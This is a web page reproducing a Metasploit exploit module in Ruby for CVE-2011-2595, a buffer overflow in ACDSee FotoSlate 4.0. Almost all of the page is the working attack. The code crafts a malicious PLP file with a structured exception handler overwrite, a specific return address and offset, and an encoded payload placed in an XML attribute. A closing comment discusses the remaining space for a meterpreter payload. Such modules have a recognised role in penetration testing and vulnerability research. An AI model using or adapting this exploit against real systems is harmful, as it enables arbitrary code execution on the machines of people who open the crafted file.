扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 |
## # $Id: acdsee_fotoslate_string.rb 13853 2011-10-10 16:47:33Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'ACDSee FotoSlate PLP File id Parameter Overflow', 'Description'=> %q{ This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via a specially crafted id parameter in a String element.When viewing a malicious PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a buffer and execute arbitrary code. This exploit has been tested on systems such as Windows XP SP3, Windows Vista, and Windows 7. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Parvez Anwar', # Vulnerability discovery 'juan vazquez'# Metasploit module ], 'Version'=> '$Revision: 13853 $', 'References' => [ [ 'CVE', '2011-2595' ], [ 'OSVDB', '75425' ], [ 'BID', '49558' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true' }, 'Payload'=> { #'Space'=> 4000, 'BadChars' => "\x00\x22" }, 'Platform' => 'win', 'Targets'=> [ [ 'ACDSee FotoSlate 4.0 Build 146', { 'Ret' => 0x263a5b57, # pop, pop, ret from ipwssl6.dll 'Offset'=> 1812, 'TotalLength' => 5000 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Sep 12 2011', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.plp']), ], self.class) end def exploit overflow = rand_text(target["Offset"]) overflow << generate_seh_record(target.ret) overflow << payload.encoded overflow << rand_text_alpha(target["TotalLength"] - overflow.length) plp =<<TEMPLATE <?xml version="1.0" encoding="ISO-8859-1"?> <ACDFotoSlateDocument15> <PageDefinition> <Template> <Version>3.0</Version> <Page> <Name>Letter</Name> <Properties> <String id="#{overflow}"></String> <String id="Width">8.500000IN</String> <String id="Height">11.000000IN</String> <String id="Orientation">Portrait</String> <Bool id="AutoRotate">FALSE</Bool> <Bool id="AutoFill">FALSE</Bool> </Properties> <Content> <Bool id="UseBGColor">FALSE</Bool> <Int id="BGImageType">0</Int> <String id="BGImageFile"></String> <Int id="BGColor">16777215</Int> </Content> </Page> <ToolList> <Group> <Tool> <Name>Image</Name> <Properties> <String id="XPos">0.500000IN</String> <String id="YPos">0.500000IN</String> <String id="Width">7.500000IN</String> <String id="Height">10.000000IN</String> <Float id="Tilt">0.000000</Float> </Properties> <Content> <Int id="ShapeType">0</Int> <Float id="RoundRectX">0.000000</Float> <Float id="RoundRectY">0.000000</Float> <Bool id="ShrinkToFit">FALSE</Bool> <Bool id="AutoRotate">FALSE</Bool> <Float id="BorderWidth">0.000000</Float> <Bool id="UseBGColor">FALSE</Bool> <Int id="BGColor">8454143</Int> <Bool id="DropShadow">FALSE</Bool> <Int id="DSColor">0</Int> <Bool id="BevelEdge">FALSE</Bool> <Bool id="Border">FALSE</Bool> <Int id="BorderColor">16711680</Int> <Bool id="IsLocked">FALSE</Bool> </Content> </Tool> </Group> </ToolList> </Template> <PageContent> <Version>3.0</Version> <Page> <Name>Letter</Name> <Content> <Bool id="UseBGColor">FALSE</Bool> <Int id="BGImageType">0</Int> <String id="BGImageFile"></String> <Int id="BGColor">16777215</Int> </Content> </Page> <ToolList> <Group> <Tool> <Name>Image</Name> <Content> <Int id="ShapeType">0</Int> <Float id="RoundRectX">0.000000</Float> <Float id="RoundRectY">0.000000</Float> <Bool id="ShrinkToFit">FALSE</Bool> <Bool id="AutoRotate">FALSE</Bool> <Float id="BorderWidth">0.000000</Float> <Bool id="UseBGColor">FALSE</Bool> <Int id="BGColor">8454143</Int> <Bool id="DropShadow">FALSE</Bool> <Int id="DSColor">0</Int> <Bool id="BevelEdge">FALSE</Bool> <Bool id="Border">FALSE</Bool> <Int id="BorderColor">16711680</Int> <Bool id="IsLocked">FALSE</Bool> </Content> </Tool> </Group> </ToolList> </PageContent> </PageDefinition> </ACDFotoSlateDocument15> TEMPLATE print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(plp) end end =begin After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid using a long buffer in order to avoid the meterpreter possibly being broken. =end |
体验盒子
